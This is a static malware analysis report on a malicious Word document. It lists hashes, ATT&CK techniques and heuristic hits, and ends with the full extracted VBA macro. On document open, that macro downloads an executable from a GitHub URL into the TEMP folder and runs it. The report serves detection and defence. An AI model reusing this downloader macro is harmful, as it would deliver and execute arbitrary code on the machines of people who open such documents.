Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d33474b214483ea3…

MALICIOUS

Office (OOXML)

16.2 KB Created: 2021-05-18 07:00:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: de000aa60d73ab904fe119294741e5c4 SHA-1: f979d717ffdd6d45b33db4b35154d1e45eb9fd5e SHA-256: d33474b214483ea3de482882ee844ff4985d4187ec71beed9e8c63b266d7368d
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro that executes upon opening the document. This macro utilizes the URLDownloadToFile function to download a file from 'https://github.com/tconqueror/bla/raw/master/Autoruns.exe' and saves it as 'C:\Users\<user>\AppData\Local\Temp\bla.exe'. Subsequently, the Shell() function is called to execute the downloaded file, indicating a downloader or droppper functionality.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        result = URLDownloadToFile(0, "https://github.com/tconqueror/bla/raw/master/Autoruns.exe", FName, 0, 0)
    Shell FName
End Sub
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    #End If
Private Sub Document_Open()
    Dim result As Long
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Dim result As Long
    FName = Environ("TEMP") & "\bla.exe"
    result = URLDownloadToFile(0, "https://github.com/tconqueror/bla/raw/master/Autoruns.exe", FName, 0, 0)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://github.com/tconqueror/bla/raw/master/Autoruns.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1182 bytes
SHA-256: 79d08a1dbdc76a9d988d3555f49de47a0f95b0b4c745f7ec1fab5ecdef7d7547
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 And Win64 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As LongPtr, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As LongPtr, _
        ByVal lpfnCB As LongPtr _
      ) As Long
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As Long, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As Long, _
        ByVal lpfnCB As Long _
      ) As Long
#End If
Private Sub Document_Open()
    Dim result As Long
    FName = Environ("TEMP") & "\bla.exe"
    result = URLDownloadToFile(0, "https://github.com/tconqueror/bla/raw/master/Autoruns.exe", FName, 0, 0)
    Shell FName
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 8704 bytes
SHA-256: 89b66fa66a97cd45a48667cbb8f06d154fe7a26cfb6353704f062c5903945978

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